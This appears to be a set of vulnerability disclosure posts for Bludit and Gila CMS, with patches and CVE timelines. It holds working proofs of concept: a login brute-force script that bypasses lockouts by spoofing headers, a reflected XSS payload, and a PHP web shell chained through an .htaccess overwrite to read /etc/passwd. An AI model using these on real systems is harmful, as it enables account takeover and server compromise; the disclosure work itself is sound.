AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P/RL:W/RC:R

Disclosure Timeline

  • 2019-10-05: Vulnerability found, pull request opened with fix
  • 2019-10-05: CVE requested
  • 2019-10-05: Patch merged into master branch
  • 2019-10-06: CVE-2019-17240 assigned to issue

Proof of Concept

#!/usr/bin/env python3
import re
import requests

host = 'http://192.168.194.146/bludit'
login_url = host + '/admin/login'
username = 'admin'
wordlist = []

# Generate 50 incorrect passwords
for i in range(50):
    wordlist.append('Password{i}'.format(i = i))

# Add the correct password to the end of the list
wordlist.append('adminadmin')

for password in wordlist:
    session = requests.Session()
    login_page = session.get(login_url)
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

    print('[*] Trying: {p}'.format(p = password))

    headers = {
        'X-Forwarded-For': password,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
        'Referer': login_url
    }

    data = {
        'tokenCSRF': csrf_token,
        'username': username,
        'password': password,
        'save': ''
    }

    login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)

    if 'location' in login_result.headers:
        if '/admin/dashboard' in login_result.headers['location']:
            print()
            print('SUCCESS: Password found!')
            print('Use {u}:{p} to login.'.format(u = username, p = password))
            print()
            break

Gila CMS Reflected XSS

12 October 2019 at 00:00

Versions prior to and including 1.11.4 of Gila CMS are vulnerable to reflected cross-site scripting. On line 29 and 30 of the blog-list.php view found in both the gila-blog and gila-mag themes, the value of the user provided search criteria is printed back to the response without any sanitisation. This can result in cross-site scripting as can be seen in the below screenshot:

Additionally, as HTTP only cookies are not in use, this can lead to a compromise of an admin session and lead to a takeover of the CMS.

Proof of Concept

http://gila.host/?search=xss%22+onfocus%3D%22console.log%28document.domain%29%22+autofocus%3D%22true

Versions Affected

<= 1.11.4

Solution

Update to a version later than 1.11.4 or apply the patch found at https://github.com/GilaCMS/gila/pull/48

CVSS v3 Vector

AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N/E:F/RL:T/RC:R

Disclosure Timeline

  • 2019-10-12: Vulnerability found, pull request opened with fix
  • 2019-10-12: CVE requested
  • 2019-10-13: CVE-2019-17535 assigned

Gila CMS Upload Filter Bypass and RCE

13 October 2019 at 00:00

Versions prior to and including 1.11.4 of Gila CMS are vulnerable to remote code execution by users that are permitted to upload media files. It is possible to bypass the media asset upload restrictions that are in place to prevent arbitrary PHP being executed on the server by abusing a combination of two issues.

The first is the support for uploading animated GIFs. By submitting a GIF that contains the following content we can place a GIF file that contains [currently unexecutable] PHP code in a GIF file on the server (in this case test.gif):

GIF89a; <?=`$_GET[1]`?>

After uploading this, the file can now be clicked and the move function can be used to move this into another directory within the application directory with a PHP extension (in this case, it is moved to tmp/media_thumb/shell.php):

As can be seen in the below screenshot, this is now stored on the server with a valid extension:

At this point, the PHP file cannot be executed as the htaccess file found in tmp/.htaccess contains the following configuration:

<Files *.php>
deny from all
</Files>

This prevents any PHP files under tmp/ being accessed. However, the same upload vulnerability can be abused to overwrite the htaccess file. To do this, one uploads a GIF file again but with the content:

# GIF89a;

This creates a GIF file on the server, that starts with a valid comment character, which prevents the server running into an error when parsing it during subsequent requests. The same rename bug can then be used to move this file to tmp/.htaccess:

After doing this, the PHP file can be accessed from the web browser, and remote code execution is gained as can be seen in the below screenshot in which cat /etc/passwd is executed:

Versions Affected

<= 1.11.4

Solution

Update to a version later than 1.11.4 or apply the patch found at https://github.com/GilaCMS/gila/pull/49

CVSS v3 Vector

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L/E:P/RL:T/RC:R

Disclosure Timeline

  • 2019-10-12: Vulnerability found
  • 2019-10-13: Patch created and pull request sent to project
  • 2019-10-13: CVE requested
  • 2019-10-13: CVE-2019-17536 assigned

Proof of Concept

Step 1: Store blank htaccess stager

POST /gila/admin/media_upload HTTP/1.1
Host: 192.168.194.146
Content-Length: 510
Origin: http://192.168.194.146
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOYDZotidj55MOMPD
Accept: */*
Referer: http://192.168.194.146/gila/admin/media
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=c4ih0deald5srb1ur1k3jg13fj; GSESSIONID=1tu6xguu1n7t84deh7b6j4f6k83kslsowcmannst8ztgwout3z
Connection: close

------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="uploadfiles"; filename="test.gif"
Content-Type: image/gif

# GIF89a;

------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="formToken"

1=^4podpw4k&8%i
------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="path"

assets
------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="g_response"

content
------WebKitFormBoundaryOYDZotidj55MOMPD--

Step 2: Overwrite tmp/.htaccess

POST /gila/fm/move HTTP/1.1
Host: 192.168.194.146
Content-Length: 80
Accept: */*
Origin: http://192.168.194.146
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.194.146/gila/admin/media
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=c4ih0deald5srb1ur1k3jg13fj; GSESSIONID=1tu6xguu1n7t84deh7b6j4f6k83kslsowcmannst8ztgwout3z
Connection: close

newpath=tmp%2F.htaccess&path=assets%2Ftest.gif&formToken=1%3D%5E4podpw4k%268%25i

Step 3: Upload PHP shell stager

POST /gila/admin/media_upload HTTP/1.1
Host: 192.168.194.146
Content-Length: 524
Origin: http://192.168.194.146
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOYDZotidj55MOMPD
Accept: */*
Referer: http://192.168.194.146/gila/admin/media
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=c4ih0deald5srb1ur1k3jg13fj; GSESSIONID=1tu6xguu1n7t84deh7b6j4f6k83kslsowcmannst8ztgwout3z
Connection: close

------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="uploadfiles"; filename="test.gif"
Content-Type: image/gif

GIF89a; <?=`$_GET[1]`?>

------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="formToken"

1=^4podpw4k&8%i
------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="path"

assets
------WebKitFormBoundaryOYDZotidj55MOMPD
Content-Disposition: form-data; name="g_response"

content
------WebKitFormBoundaryOYDZotidj55MOMPD--

Step 4: Move PHP shell into tmp/media_thumb/shell.php

POST /gila/fm/move HTTP/1.1
Host: 192.168.194.146
Content-Length: 94
Accept: */*
Origin: http://192.168.194.146
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.194.146/gila/admin/media
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=c4ih0deald5srb1ur1k3jg13fj; GSESSIONID=1tu6xguu1n7t84deh7b6j4f6k83kslsowcmannst8ztgwout3z
Connection: close

newpath=tmp%2Fmedia_thumb%2Fshell.php&path=assets%2Ftest.gif&formToken=1%3D%5E4podpw4k%268%25i

Step 5: Execute shell command on remote host

GET /gila/tmp/media_thumb/shell.php?1=cat%20/etc/passwd HTTP/1.1
Host: 192.168.194.146
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=c4ih0deald5srb1ur1k3jg13fj; GSESSIONID=1tu6xguu1n7t84deh7b6j4f6k83kslsowcmannst8ztgwout3z
Connection: close

❌
❌